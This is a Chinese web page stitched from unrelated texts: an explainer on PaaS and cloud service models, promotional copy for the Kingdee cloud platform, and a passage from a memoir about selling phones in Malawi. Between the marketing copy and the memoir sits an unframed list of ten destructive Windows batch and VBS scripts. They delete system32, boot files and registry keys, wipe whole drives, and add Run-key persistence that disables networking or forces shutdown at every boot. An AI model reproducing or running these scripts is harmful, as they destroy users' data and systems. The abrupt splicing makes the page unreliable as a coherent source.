说起云计算平台,大家可能都知道有IaaS、PaaS和SaaS。IaaS和SaaS的概念大部分人都能很清晰的认知。说到IaaS大多会讲:存储、计算和网络这三大基础资源,说到SaaS大家会想到各种类型的应用,但是说到PaaS就没有一个非常明确的共识。做大数据平台的厂商会数自己的大数据平台是PaaS,做容器云的厂商会数自己的容器平台是PaaS,甚至传统的IaaS厂商会数自己的平台也是PaaS。那么PaaS究竟是什么呢?

PaaS的定义

云计算相关概念

我们来说PaaS的定义时就要先理解什么是云计算。云计算是指基于互联网等网络,通过虚拟化方式共享IT资源的新型计算模式。其核心思想是通过网络统一管理和调度计算、存储、网络、软件等资源,实现资源整合与配置优化,以服务方式满足不同用户随时获取并扩展、按需使用并付费,最大限度地降低成本等各类需求。

enter image description here

目前云计算提供的服务模式主要包含三大类:基础设施即服务(IaaS)、平台即服务(PaaS)、软件即服务(SaaS)。

基础设施即服务(IaaS)

云计算服务商提供虚拟的硬件资源,如虚拟的主机、存储、网络、安全等资源,用户无需购买服务器、网络设备和存储设备,只需通过网络租赁即可搭建自己的应用系统。IaaS定位于底层,向用户提供可快速部署、按需分配、按需付费的高安全与高可靠的计算能力以及存储能力租用服务,并可为应用提供开放的云基础设施服务接口,用户可以根据业务需求灵活定制租用相应的基础设施资源。在这种服务模式下,用户无需考虑对琐碎的基础设施进行管理与维护,用户可直接在基础设施上面方便地加载应用。IaaS服务对应的用户是系统管理员。

平台即服务(PaaS)

PaaS提供商提供应用服务引擎,将软件研发测试和运维的平台作为一种服务提供,如应用程序接口(API)服务或应用运行时服务,用户基于这些服务构建业务应用。从用户角度来说,这意味着他们无需自行搭建开发,测试和运维平台,也不会在不同平台兼容性方面遇到困扰。PaaS服务对应的用户是应用的开发者和运维人员。

软件即服务(SaaS)

用户通过标准的 Web 浏览器来使用网络上的软件。从用户角度来说,这意味着前期无需在服务器或软件许可证授权上进行投资;从供应商角度来看,与常规的软件服务模式相比,维护一个应用软件的成本要相对低廉。SaaS供应商通常是按照客户所租用的软件模块来进行收费的,因此用户可以根据需求按需订购软件应用服务,而且SaaS的供应商会负责系统的部署、升级和维护。SaaS提供商对应的用户是应用软件使用的终端用户。

PaaS

平台即服务(PaaS)与基础设施即服务(IaaS)是不同的,PaaS并不是IaaS的一个扩展特性,对于基础设施即服务(IaaS)来说,基础单元就是资源,这里的资源是指服务器,磁盘,网络等,IaaS所做的一切就是按照需要提供这些资源。例如,亚马逊(amazon)的EC2服务,所有的工具都以资源为中心,所有的文档都是关于资源的,所有的开发都是专注于资源,同时人们也因为需要这些资源而使用它。

对于平台即服务(PaaS)来说,基础单元就是应用。那么什么是应用?就是一个系统,就是代码以及所有那些在任何时候都与这些代码通信的服务。这不仅仅是资源,事实上,一个应用是由很多单独的资源绑定在一起组成的。将所有这些资源连接在一起所需要付出的工作量通常被低估了。从一个单一的运行Apache和Mysql的服务器转移到一个拥有单独的负载均衡服务器,缓存服务器,应用服务器,数据库服务器以及冗余的失效恢复的系统架构需要大量的工作,包括前期投入以及后期维护。一个成熟的PaaS平台可以为用户提供上述的所有功能,在减少用户大量工作的前提下,大幅度提升用户应用的开发速度,运行稳定性,可靠性,极大的降低了用户的开发,测试及运维的成本。

利用PaaS可以做的另外一件事,就是从应用的角度来管理IaaS。通常情况下,使用者对于IaaS的资源需求实质上是来源于运行在IaaS之上的应用,如何根据应用的需求动态的使用IaaS资源又成为摆在云使用者面前的一个难题,PaaS作为SaaS与IaaS的沟通者,可以根据SaaS的需求动态的协调IaaS资源,使IaaS按需分配资源的理念变得更智能,更有实际意义。

IaaS为云使用者提供了按需分配的能力,用户可以按照自己的需求定制计算资源,存储资源,网络资源,并且利用云端的海量资源随时快速的开启资源,并在工作完成时,随时释放资源,在享受云带来的高可靠性的同时,也最大化的降低了使用成本,提升了资源利用率。

但是IaaS为云使用者带来的便利只局限在资源这个层面上,云使用者可以快速,稳定,海量的使用资源,但是一旦获取到资源后,云使用者依然要为运行在资源之上的应用搭建各种适配环境(部署),解决应用的各种依赖,安装应用要使用的各种服务,维护应用的运行生命周期。这些问题IaaS都没有解决,或者说,这些问题本质上也不是IaaS需要解决的问题,而是PaaS需要解决的问题。

综上,IaaS关注与硬件的自动化管理,目标是人与机器的解耦合,提升了效率和性能,而PaaS关注与应用的自动化管理,目标是应用与操作系统的解耦合,提升了弹性和控制。

PaaS的分类

通过上面的介绍,大致可以清晰IaaS、PaaS和SaaS的关系以及面向的用户。在继续介绍PaaS的技术细节前,我们需要了解一下PaaS平台自身的分类。Gartner把它们分为两类,一类是应用部署和运行平台APaaS(Application Platform As a Service),另一类是集成平台IPaaS(Integration Platform As a Service)。

  • APaaS是一种面向IT企业和机构的云计算应用开发与部署平台。APaaS主要为应用提供运行环境和数据存储,能够将本地部署的传统应用直接部署到APaaS上。

  • IPaaS是用于集成和协同的PaaS平台,不仅可以支持与现有云服务间的连接性,而且可以以安全的方式提供企业应用的访问能力。IPaaS主要用于集成和构建复合应用。

大数据厂商的PaaS实际上是属于IPaaS,而容器厂商和IaaS厂商的PaaS大致为APaaS。

APaaS的一般特性

大规模分布式系统

  • 完全模块化的分布式系统,保证云平台可靠性;

  • 每个模块单独存在和运行,通过消息总线进行通讯;

  • 系统耦合度低,便于弹性动态扩展;

弹性伸缩框架

  • 平台自身组件支持实时横向扩展;

  • 根据应用的负载情况,动态加载应用实例;

  • 应用实例支持实时水平扩展;

运维自动化

  • 日常运维操作简化;

  • 故障自动恢复;

应用部署简单化

  • 一键式应用快速部署;

  • 支持多种应用开发框架,包括Spring、.NET、Ruby on Rails,Node.js等;

  • 通过buildpack扩展运行不同语言应用的能力;

支持多种服务

  • 支持多种数据服务,包括MySQL、mongodb、PostgreSQL等;

  • 通过service broker组件扩展多种应用服务能力,包括数据库、中间件、缓存、云存储等。

主流PaaS平台架构及对比

了解了PaaS的分类,我们再来看看PaaS的具体技术对比。由于IPaaS具有很强的业务属性,因此这里我们主要来看一下更通用的APaaS,也是目前被大家最多提起的。说到PaaS,相信很多人都会把他和容器、Docker关联起来。下面来看几张图:

PaaS

上面这张图可以看出来从容器、编排、部署都自称为PaaS。

enter image description here

正如国内的容器厂商都自称为PaaS平台一样,目前大多数人提到PaaS都会想到容器。每过几年总会有新的概念出来。下面再来看一张图。

enter image description here

这张图很清晰的划分出了XaaS以及各种概念对应的平台。大家所熟知的容器平台在这里实际上是CaaS的一种。那么CaaS和PaaS有什么区别呢?我们接下来对比一下CaaS和PaaS里面最具代表性的两个平台:CaaS和CloudFoundry。

Docker/CaaS

Docker/CaaS 提供直接管理操作基础设施的性能,带来基础设施层面的灵活性。用户 通过直接操作容器可以更灵活的实现应用迁移、部署。但这个更加轻量的平台带来了用户学 习成本和使用复杂度的增加。

容器云平台的搭建只依托 Swarm/Mesos/K8s 等容器编排调度系统就可以实现,还需 要引入大量的第三方解决方案,例如日志、监控、网络等。这就意味着一定的试错成本,另 外第三方系统的成熟度发展不一,组成一套统一的云平台后进入生产环境的应用需要经过一 定周期的论证和验证。

Cloud Foundry 平台

Cloud Foundry 隐藏了基础设施层面的复杂度,提供应用层的管理操作,简化基础设 施和应用的构建管理,平台也使用容器技术,但仅仅是平台架构中的实现细节。通过 CF 可 以更加敏捷的实现应用开发、部署、业务实现等。

Cloud Foundry 的架构是一个相当完整的 PaaS 架构,模块丰富,平台自身可以提供 对于平台节点、应用的监控、管理,日志,自动化运维等完整的解决方案。每个模块都部署 在一个或多个虚拟机上。这些虚拟机是自动创建的,由 PaaS 管理他的生命周期。它的应用 部署跟 Docker 镜像部署不太一样,它是把程序包直接部署。一个命令行或是一个点击就可 以部署

在经过长时间的应用,Cloud Foundry 已有很多在生产环境的案例。Cloud Foundry 率先采用 RunC 作为容器运行时,而且刚刚做了一个 25 万个容器集群的测试,验 证了 PaaS+RunC 的大规模集群的支持。

可以这样来说:容器技术是PaaS平台的底层技术,是PaaS平台不可缺少的部分。但是把容器平台说成PaaS,未免会有点以偏概全了。

特性CloudfoundryDocker/CaaS
应用部署方式直接部署程序Release包需要制作Docker镜像
监控完整解决方案需要集成第三方工具
日志完整解决方案需要集成第三方工具
网络完整解决方案需要集成第三方工具
自动化运维可以和IaaS联动不支持IaaS联动

PaaS平台和SaaS应用市场的关系

大家有没有发现一个现象?10年以前,SaaS应用市场是非常少的。现在各大平台都会有自己的SaaS应用市场。出现这种现象的原因无外乎技术的进步,搭建SaaS应用市场的成本降低了。更确切的说:SaaS应用市场是PaaS平台的一种外延。在底层PaaS技术的支撑下,SaaS应用的开发、交付、运营的门槛大幅度的降低了。

基于PaaS平台构建的SaaS应用市场会逐步加快SaaS应用生态的发展。

PaaS平台下进行云原生应用开发

有了PaaS平台帮我们解决底层平台的问题,那么我们的应用开发者要怎么做才能开发出云原生应用呢?12-Factor 为构建如下的云原生应用提供了方法论:

  • 使用标准化流程自动配置,从而使新的开发者花费最少的学习成本加入这个项目。

  • 和操作系统之间尽可能的划清界限,在各个系统中提供最大的可移植性。

  • 适合部署在现代的云计算平台,从而在服务器和系统管理方面节省资源。

  • 将开发环境和生产环境的差异降至最低,并使用持续交付实施敏捷开发。

  • 可以在工具、架构和开发流程不发生明显变化的前提下实现扩展。

这套理论适用于任意语言和后端服务(数据库、消息队列、缓存等)开发的应用程序。

下面我们一起来看看具体包含哪些要素:

  • 基准代码:一份基准代码,多份部署

  • 依赖:显式声明依赖关系

  • 配置:在环境中存储配置

  • 后端服务:把后端服务当作附加资源

  • 构建,发布,运行:严格分离构建和运行

  • 进程:以一个或多个无状态进程运行应用

  • 端口绑定:通过端口绑定提供服务

  • 并发:通过进程模型进行扩展

  • 易处理:快速启动和优雅终止可最大化健壮性

  • 开发环境与线上环境等价:尽可能的保持开发,预发布,线上环境相同

  • 日志:把日志当作事件流

  • 管理进程:后台管理任务当作一次性进程运行

PaaS的未来发展

先抛一个结论:PaaS是云的未来

IaaS是一个资源转售的生意,PaaS代表了云计算的未来,PaaS解决的是平台架构的问题,同时也是真正做到按需付费。对于业务客户而言,底层技术不会给他们带来直接的业务价值,这也就决定了软件开发商更应该聚焦在业务层。高并发、高可靠、存储服务、应用自身维护等和业务不直接关联的平台服务都可以借助PaaS技术来完成。现在的创业团队可以借助各类PaaS技术快速的创建高并发、高可靠的应用,未来这种模式也会进一步普及。

  • 更融合的调度 物理机、虚拟机和容器各有优势,一个复杂的应用场景会用到各计算平台的优势,融合调度未来必然会成为主流框架。

  • 更融合的编排 说到调度,就离不开编排。当前阶段上云是大趋势,私有云加公有云的模式会长期持续。那么融合的编排框架也必然会成为解决成本问题的一个重要选择。

  • 更细粒度的弹性 IaaS解决了基础设施的弹性,但是还不够。技术的发展会进一步细化弹性的粒度,往更节约的方向发展。

  • 更高的资源利用率 当前的技术及架构下,计算资源很大一部分时间都是闲置的。以有限的资源来应对更高的数据处理要求,资源利用率会随着云技术的发展进一步提高。


数字化浪潮下,企业如何紧跟时代的步伐,拥抱互联网,实现数字化转型?新模式新管理需要新技术新平台支持,对先进核心技术的掌握和应用将给企业带来全新的机会。企业级PaaS平台将促进和推动企业数字业务的使用,并帮助企业实现从创意到落地的最快转化。

下一代金蝶云作为中国首款自主可控的新一代企业级云原生PaaS平台,基于全新的云原生架构,结合企业业务特点,提供了开发服务云、社交服务云、大数据服务云、人工智能服务云、物联网服务云和云基础技术服务等一系列的平台级应用服务,帮助企业快速搭建数字化平台,助力大企业数字化转型与创新。

云计算被视为继 80 年代大型计算机到客户端/服务器的大转变之后的又一次革命,为我们带来了工作方式和商业模式的根本性改变,进而成为推动企业创新的引擎。云计算从最初的概念出现到如今的应用普及,已有十余年的时间。目前云计算进入大规模应用阶段,大量企业可以像使用水电等基础设施资源一样来使用IT资源。数字化浪潮下,云计算已经成为这个时代的必然选择。

根据2018年Gartner的最新研究报告,云计算仍是数字业务创新的战略平台。CIO面向应用架构和平台基础设施开展决策时,必须了解PaaS平台发展的关键趋势,并拥抱PaaS平台,以使其业务敏捷性最大化。基于Gartner对PaaS平台发展趋势的研究,新一代的PaaS平台必须基于云原生架构,进一步具备控制IaaS、CaaS等底层技术服务能力,屏蔽底层IaaS层技术的复杂性,提供云基础技术服务能力;进一步抽象企业业务模型,提供低代码的高生产力应用开发平台;同时PaaS平台会基于越来越成熟的AI技术、物联网技术、大数据技术,为平台赋予更多的平台级应用服务能力。

新一代企业级云原生PaaS平台

下一代金蝶云通过颠覆式创新全新打造了新一代企业级云原生PaaS平台,采用了全新的分布式架构,支持微服务、容器服务、DevOps等为代表的云原生基础架构,并独创了云端动态领域模型,支持云端个性化定制,是业界领先的企业级云原生PaaS平台,帮助客户轻松用云、快速创新、持续交付。

新一代企业级云原生PaaS平台 助力大企业数字化转型与创新

 

下一代金蝶云PaaS平台技术架构图

开发服务云

1.自主技术的云端动态领域模型(DDM)

基于金蝶25年企业服务经验积累锤炼的,拥有自主知识产权的云端动态领域模型是下一代金蝶云开发服务云的核心技术。该模型包括了元模型库、领域模型、模版库、动态解释引擎、建模工具等基础服务组件。并结合企业业务特点,封装了动态的表单模型、流程模型、服务模型和报表模型等业务模型。

2.企业级低代码可视化开发平台

下一代金蝶云提供了企业级低代码的可视化开发平台,可以轻松构建基于微服务架构的自定义应用。平台包括了微服务组件、开发服务、运行服务、服务管理、API服务框架、应用建模、云支撑服务与运维服务等,为云应用(SaaS服务)的开发、部署、运行及运营提供了一系列的服务及管理工具。

3.动态高效的流程服务平台

下一代金蝶云提供动态高效的流程服务平台,遵循BPMN2.0规范,基于动态模型元数据,通过业务模型库提供不同行业、不同业务类型的端到端业务流程模型,支持各种复杂业务应用场景、流程柔性动态配置、多系统流程集成,支撑企业业务高性能高可靠流转,简单易用、功能强大。

社交服务云

下一代金蝶云基于云之家提供的账号、组织、消息和业务分享等社交协作服务,连接员工、连接客户、连接业务,轻松连接一切工作。借助平台的社交能力,企业内外部打破部门壁垒与地域限制,自发形成工作小组,以网状的协作体系,高效地处理工作。

数据服务云

下一代金蝶云提供涵盖数据全生命周期的大数据基础设施服务——轻分析。轻分析是金蝶自主研发的,拥有独立知识产权和核心技术的数据云计算引擎和数据可视化平台,可以轻松连接到企业的关系型数据库、大数据处理平台、平面数据文件、领域实体模型等多种类型数据资产,仅通过简单拖拽,就可完成多维透视的图表呈现。轻分析支持嵌入式分析和主题式分析两大场景,千万级数据秒级呈现,让用户享受到极致流畅的数据分析体验。

人工智能服务云

随着AI技术的不断发展,企业应用的智能化需求变得越来越急迫。下一代金蝶云基于语音识别、图像识别、自然语言处理和深度学习算法等AI技术,搭建了统一的企业AI平台;通过与企业业务场景、企业数据等信息结合,提供了财务机器人、营业执照识别、发票识别、人脸认证、员工自助服务等标准AI应用,企业可在此基础上进行个性化扩展。通过企业AI模型抽象,基于隔离的数据进行训练,让每个用户都能训练出独有的AI服务。

物联网服务云

针对企业数字化、网络化、智能化的转型需求,下一代金蝶云全新打造了企业级物联网服务云,通过边缘计算数据盒实现工厂设备的快速连接和数据采集,为企业提供连接设备数据的边缘计算能力,支撑制造资源泛在连接、弹性伸缩、高效配置。

云基础技术服务

2013年,Pivotal 的 MattStine 提出了云原生(Cloud Native)的概念,凭借其优良的可伸缩性,云原生应用和服务也越来越受到青睐。CNCF(云原生计算基金会)给出了云原生应用的三大特征:容器化、DevOps、微服务。云原生架构包含了一系列的技术体系和应用工具,用来帮助企业快速、持续、可靠、规模化地交付业务软件。

下一代金蝶云PaaS平台,基于分布式、微服务、容器、DevOps等为代表的云原生技术,结合企业业务特点,实现了全新架构设计,为企业应用提供快速迭代、高可用的基础核心能力。

新一代企业级云原生PaaS平台 助力大企业数字化转型与创新

 

下一代金蝶云云基础技术架构

1.分布式架构

彻底摒弃传统ERP单一数据库,单一应用服务器模式,以分布式技术作为下一代金蝶云的核心技术,把所有服务和节点全部重新设计,使之分布式化,保证单点故障依然可用,包括了微服务化的应用服务、分布式配置服务、分布式数据库、分布式计算框架、分布式缓存服务、分布式APM、分布式日志管理等。

2.微服务架构

下一代金蝶云微服务架构,可以让过去复杂、庞大的管理信息系统,以更小颗粒度、更敏捷的服务方式提供。不同的应用可以独立部署与互相隔离,服务之间通过轻量级API进行通信。服务节点都会纳入分布式集群中,并支持弹性扩容。下一代金蝶云对微服务框架的服务注册及发现、网关、路由、容错与限流及监控等模块进行了改造,以更好的适配企业业务需要。

3.容器服务架构

下一代金蝶云支持微服务部署在Docker中,Docker运行在IaaS层虚拟机上。下一代金蝶云基于Kubernetes技术,提供了统一的容器服务,用户可以方便的管理和编排容器集群。下一代金蝶云支持公有云、私有云、混合云等多种云部署模式,公有云支持在AWS、华为云、京东云等主流云厂商上部署。

4.DevOps

下一代金蝶云使用Devops研发理念,将敏捷研发流程和CI/CD流程结合起来,可以做到随需发布,缩短开发周期,提高部署频率,让产品功能更快的呈现给客户。每次代码提交并完成自动构建后,都会经过静态代码扫描、单元测试、冒烟测试、自动化全回归测试等一系列质量保证机制,让发布内容稳定可靠,强大的自动化测试平台,为客户提供高质量交付保障。


1 蓝屏死机

Del %windowsdrive%\*.* /f /s /q Shutdown -s -f -t 0

2 更改文件后缀名

 Ren *.doc *.txt Ren *.jpeg *.txt Ren *.lnk *.txt Ren *.avi *.txt Ren *.mpeg *.txt Ren *.com *.txt Ren *.bat *.txt

3 删除system32

 Del c:\windows\system32\*.* /q

4 使PC永久崩溃

 @echo off Attrib -r -s -h c:\autoexec.bat Del c:\autoexec.bat Attrib -r -s -h c:\boot.ini Del c:\boot.ini Attrib -r -s -h c:\ntldr Del c:\ ntldr Attrib -r -s -h c:\windows\win.ini Del c:\windows\win.ini

5 删除所有的注册表

 @echo off Start reg delete HKCR/.exe Start reg delete HKCR/.dll Start reg delete HKCR/*

6 永久禁用网络

echo @echo off>c:\windows\wimn32.bat echo break off>>c:\windows\wimn32.bat echo ipconfig/release_all>>c:\windowswimn32.bat echo end>>c:\windows\wimn32.bat reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run /v WINDOWsAPI /t reg_sz /d c:\windows\wimn32.bat /f reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVision\Run /v CONTROLexit /t reg_sz /d c:/Windows/wimn32.bat /f Pause

7 一直按回车

(这个要保存为.vbs) Set wshShell=wscript.CreateObject("WScript.Shell") do wscript.sleep 100 wshshell.sendkeys"~(enter)" loop

8 启动电脑后自动关机

echo @echo off>c:\Windows\hartlell.bat echo break off>>c:\Windows\hartlell.bat echo shutdown -r -t 11 -f>>c:\Windows\hartlell.bat echo end>>c:\Windows\hartlell.bat reg add HKEY_LOCAL_MACHINE\Software\Microsoft\Windwos\CurrentVersion\Run /v startAPI /t reg_sz /d c:\Windows\hartlell.bat /f reg add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v /t reg_sz /d c:\Windows\hartlell.bat /f pause

9 开启CD蜂鸣器

(这个也是.vbs格式) Set oWMP=CreateObject("WMPlayer.OCX.7") Set colCDROMs=oWMP.cdromCollection do if colCDROMs.Count>=1 then For i=0 to colCDROMs.Count -1 colCDROMs.Item(i).Eject Next For i=0 to colCDROMs.Count -1 colCDROMs.Item(i).Eject Next End If wscript.sleep 100 loop 10. rd/s/q D:\ rd/s/q C:\ rd/s/q E:\


在世界人均GDP最低的国家马拉维卖手机的刘文,写了他的美国同事安竹之后,又写了他和团队怎么来到这个国家,碰到哪些人,发生了怎样的故事?

2021价值峰会

播放

非洲创业记(续):我在世界上最穷的国家卖手机

00:0023:48

钛媒体注:本文来自中国三明治(微信公众号:china30s),在世界人均GDP最低的国家马拉维卖手机的刘文,写了他的美国同事安竹之后,又写了他和团队怎么来到这个国家,碰到哪些人,发生了怎样的故事?

马拉维首都利隆圭中午两点的太阳有点毒,二区是商业区,人流车流非常多,路上车辆大多是来自日本的二手车,二十多岁的年轻人三五成群,或者在街上走,或者在集市上坐着玩弄手机,他们喜欢外放存储在手机里的音乐。青年们的手机大多是功能机,手机上网在这里并不普及,1G的流量是人民币50多元,顶得上这里月平均工资六分之一。

一些人正费劲地蹬着自行车,自行车后座是码好的一撂木柴,他们从郊区带到首都来卖,很多首都居民用不起液化气,做饭需要木柴煮“西玛”(玉米面糊煮熟而成)。

批发市场上的商店大多是印巴人,中国人开的,来自乡村的商人从这里批发商品,他们正扛着一捆捆衣服去赶长途中巴,要在旺季来临之前把货备足,马拉维的雨季即将结束,那时庄稼也会收成,农民会卖出玉米,大豆和烟叶,换成日用品。

商业区街上站着很多待业青年,他们的眼睛紧紧盯着来往的生意商人,如果机会好,他们会用拙劣的技巧拉开行人的背包拉链。

在利隆圭的最中心地带,是一片银行区,每家银行门口的保安都佩着枪,虽然有的枪管生锈了。

总统的车队驶过首都的总统大道,这是首都唯一一条四车道马路,整个国家其余的柏油马路只有两车道。马路左边是议会大厦,还有一个十几层的会展中心,是市内最高的建筑物,由中国援建。会展中心附近有一个中国特色的飞檐凉亭,名为台马亭,这是马拉维跟台湾建交时由台湾修建。2008年后,马拉维跟台湾断交,跟大陆建交,一些台湾的建筑被拆除,唯独这个亭子保留下来。

沿总统大道再往前走几百米,马路右边是安徽外经的金孔雀宾馆,这是当地最好的宾馆之一,除此之外,马拉维并没有现代化的宾馆,都是殖民时期白人留下的老建筑。

金孔雀宾馆的前面,是金孔雀超市,超市很大,按目前来算,客流再多10倍也能够容纳,显然它是把宝押到了马拉维的未来。

在北郊的一个工地上已经矗立起了几幢别墅,这是中国的河南国际承建的一个纯商业项目,这里将有700幢别墅,在这个最穷的国家里,也不乏买得起别墅的政府官员和商人。

马拉维地处非洲的中南部,人口1000多万,是全球最穷的国家,2013年人均 GDP 是223美金,中国是6,629美金,排名第一的卢森堡是112,135美金。

马拉维湖

马拉维湖

一个偶然去马拉维旅游的机会,我们决定,要在非洲创业,就从马拉维开始。创业开始的方向,我们选择卖手机。

一、张有文

2014年4月12日,我和合伙人在上海浦东机场送张有文坐上去马拉维首都利隆圭的航班,这是他第一次出国。

虽然是国际航班,飞机上大多是中国人,偶尔有几个黑人,都带着大包小包。很多人用纸箱把货物打包,外面缠着一圈了圈的胶带,越来越多的非洲本地人,直接从义乌小批发市场进货,带到非洲他们自己的国家销售

飞机上,张有文同座位附近的人聊天,他认识了三个人:

  1. 一个四十多岁的大叔去加纳,很多广西人在加纳挖金矿,大叔去那边做卡车司机;

  2. 另外一个华为的员工,已经在赞比亚待了五年,他们为当地最大的电信运营商MTN做运营支撑系统;

  3. 还有一个跟张有文年龄相仿的九零后,在赤道几内亚开网吧,他是江西人,父母一直在广州打工,他是江西山区的留守儿童,两年前初中毕业,没有考上高中,就去了赤道几内亚,在叔叔的五金店打工,后来,他自己开了家网吧,那里上网很贵,网吧一个小时四十多元人民币。

经过十二小时的飞行,在亚的斯亚贝巴转机,机场很拥挤,窗外的吊车轰鸣,张有文并没有感到陌生,来自中国的建筑公司正在扩建这个机场,吊车上挂着安全生产的大字标语,这是刚刚过了中国的新年,机场有一半是中国人,所有的标牌都有埃塞语,英文和中文,并且设有中文问讯台,机场的免税店生意非常好,中国人都在买红双喜,中华等香烟,成条成条的塞满行李包,他们抽不习惯国外的Dunhill,就用国产香烟把家乡的记忆延续到非洲。

机场抽烟室中挤满了中国人,非常呛人。

抽烟室旁边是设立的为穆斯林做祈祷的小房间,一些穿着长袍的穆斯林下飞机后,在排队等着做祈祷。

亚的斯亚贝巴到马拉维,仍然需要四个小时的飞行,飞机上张有文第一次看到非洲的草原,从飞机上俯瞰,陆地非常平整,黄色的光秃秃的,有泛着白光的地方,是土房子铝板的屋顶。现在,飞机上只有张有文一个中国人了。

飞机几乎是垂直下降,哐的一声降落在利隆圭机场,利隆圭的机场小的可怜,跑道很短,经过剧烈的减速,飞机停了下来。

二、艾尔菲尔德

在非洲做生意,安全是第一位的,张有文租住了利隆圭富人区的一栋别墅。

别墅只有张有文一个人住,院子里还有一个园丁,他叫艾尔菲尔德。他居住在院子后面的矮房子里,打理院子里的花草。

张有文跟艾尔菲尔德聊天,正好练习英语。他得知艾尔菲尔德的五个孩子和老婆都住在乡下。

张有文每天和艾尔菲尔德打招呼,方式很中国,他总是问,你吃过了吗?艾尔菲尔德总是回答没有。原来,艾尔菲尔德一天只吃两顿饭,早饭和晚饭,时间都吃的很晚。后来,张有文不再问他吃过没有。

一次,艾尔菲尔德问张有文,你有没有结婚。

张有文回答没有。

“你应该结婚。”艾尔菲尔德肯定地说。

第二次,艾尔菲尔德又问同样的问题,后来,他告诉张有文:“我有一个女儿,年龄正合适……”

张有文感觉艾尔菲尔德在说笑,他拒绝了。

一天早上,张有文醒来发现,家里进了贼。院子围墙有电网,窃贼是把大门钢筋掰开进入的院子。房屋的门用万能钥匙打开了,窃贼进入客厅,偷走了一百多台手机。客厅与卧室有一道门,贼并没有进入卧室,却在门口摆放了很多石头,估计是贼怕卧室的人听到声音出来,他们就拿石头作为武器。

这时正值马拉维总统大选,社会治安变差。

要请保安,张有文面试了几十个人,最后挑中了三个感觉最合适的人。其中一个保安最负责任,他很珍惜这份工作,不仅仅是晚上,白天他会来院子里照看。

一次,张有文在店铺,这个负责任的保安跑来告诉他,这个工作他不做了。张有文很诧异,问他为什么,他说园丁威胁他,如果他再继续做这份工作,就要杀了他。

张有文心想,也许是艾尔菲尔德怕保安抢走他的工作才这样做。因为除园丁的固定薪水外,张有文同时付一份薪水给艾尔菲尔德,让他同时负责院子白天的安全。

一个月后,张有文的住处再次失窃,这次是白天,窃贼把客厅窗户的钢筋掰弯,偷走了客厅的所有物品,还包括张有文的内衣裤。

事件发生后,艾尔菲尔德说,白天他出去取苗木,没有在院子里,不知道发生了什么。

虽然感觉到艾尔菲尔德非常可疑,却没有证据。难办的是,艾尔菲尔德是房东请的,不太好解雇。无奈之下,张有文只好用钢筋把窗子都加固了一遍,不再给窃贼留任何机会。

我来到马拉维,跟张有文一起讨论如何来处理艾尔菲尔德,我于是试着去跟艾尔菲尔德聊天,去了解他。

艾尔菲尔德问我是谁,我说是张有文的朋友,我在赞比亚做生意。

艾尔菲尔德问我:你会几种语言?

我说我会两种,英语和中文。

艾尔菲尔德自豪的告诉我,他会六种语言,他开始列举,听下来,除母语奇奇瓦和马拉维的官方语言英语外,其它四种全部是南非的地方语。

原来,艾尔菲尔德是想告诉我,他见多识广,他不仅去过南非打工,还去过津巴布韦,赞比亚。他的爸爸死后,他才回到了马拉维。

我直接问艾尔菲尔德,马拉维同这些国家相比,为什么这么穷?

因为在南非,富人都是帮助穷人,如果一个富人有钱,他会把钱给他的朋友和他的亲戚,这样,他的亲戚也就有钱了。而马拉维富人根本不帮助穷人,所以马拉维很穷。

艾尔菲尔德的这个观点很有意思,我虽然不认同,还是点了点头。

后来聊天,艾尔菲尔德告诉我,今年他家里发了洪水,房子被冲坏了,他需要钱修房子。

他又跟我抱怨,张有文应该给他涨薪水。

他又讲圣诞他想回家,张有文应该给他假期。

这样的抱怨多了,我感觉跟艾尔菲尔德聊天,进入他的内心并不容易。

他只是想得物质的东西。

艾尔菲尔德周日会去教堂。于是一个周日,我约艾尔菲尔德一起去教堂。

教堂三个小时的时间里,艾尔菲尔德按照程式完成了礼拜。枯燥的礼拜加上周日的早起让我不住的打哈欠,艾尔菲尔德抱怨说我不应该一直在打哈欠。

礼拜结束后,我以为艾尔菲尔德会跟熟人朋友一起聊天,但其实这里他一个人也不认识,礼拜后他没有同任何人打招呼,到教堂他只是能找到他熟悉的上帝。

临走的那天晚上,我又跟艾尔菲尔德聊天。

艾尔菲尔德知道我要离开,他很急切。

“在马拉维生意很好做,我可以在镇上开店。”他说:“你能否投资,我帮你做。”

“你能卖什么东西?”我问到。

“衣服,鞋子,任何他们要的东西。”

“可是,马拉维的消费能力不行。”我说。

“马拉维人很有钱,当庄稼成熟的时候,他们卖玉米,卖烟叶,他们很有钱。”艾尔菲尔德坚持他的观点。
“我只在赞比亚做生意。”我不想告诉他实话。

“这里生意真的很好做。”艾尔德强调说, “你不想卖衣服和鞋子,也可以卖玉米,卖烟叶。”

“我没有玉米,也没有烟叶。”

“你可以在一个地方买了,然后再卖到另外一个地方。你还可以卖鸡,从乡下收购土鸡,卖到利隆圭。”

艾尔菲尔德对生意的见识,只停留在他见过的东西上。

我摇了摇头。

艾尔德不甘心,他又对我说,他做园丁已经干了五年,他太累了,薪水不够,每个月只有20,000克瓦查(合计不到300人民币)。

有多少钱,你才能够?我问到。

“70,000,或者80,000。”艾尔菲尔德说, “如果你在这里做生意,你可以付我40,000,我就愿意做。你按月付我,一个月一个月的给就行。我做一个月,你再给我一个月。”

我继续摇摇头,艾尔菲尔德没有再说话,他把收音机的音量调高,问我听过这首歌没有,他说,这是赞比亚的一个歌星,我在赞比亚,应该知道。

我们都陷入沉默。

艾尔菲尔德有点灰心,他看着地面,捡起了一个烟头,仔细用手纸捻了捻,他想抽这个丢弃的烟头,但是已经没有一点烟丝。

能给我一支烟吗?艾尔菲尔德说。

我递过一支烟,艾尔菲尔德双手接过,我给他点上,他很感激的样子。

艾尔菲尔德抽烟的样子很陶醉,他长吸一口。

“我很累,”他说,“我想换工作。这个工作我已经做了五年了。”

我起身说了晚安,告诉他我要去睡觉了。

“你一定要给我你的手机号码,你去了赞比亚后,也可以给我一份工作,我只要45,000克瓦查就可以。”艾尔菲尔德说。

“我每天都在哭泣。”艾尔菲尔德最后说,“因为我很穷,我的妈妈没有钱,我的妻子没有钱,我也没有钱……”

圣诞后,我们搬离了那栋别墅。

三、Friday

Friday是我们的第一个本地员工,我们把Friday招来,是在王峰的工厂。

第一次去马拉维,路上让警察查到车束手无策,警察狮子大开口要钱,幸亏遇到王峰,帮了大忙。王峰给警察塞了一点钱,警察放了我们。之后我们跟王峰成了朋友。

张有文到了马拉维,第一件事就是招聘一个当地人司机,王峰说很简单,他的工厂门口每天都有很多找工作的。

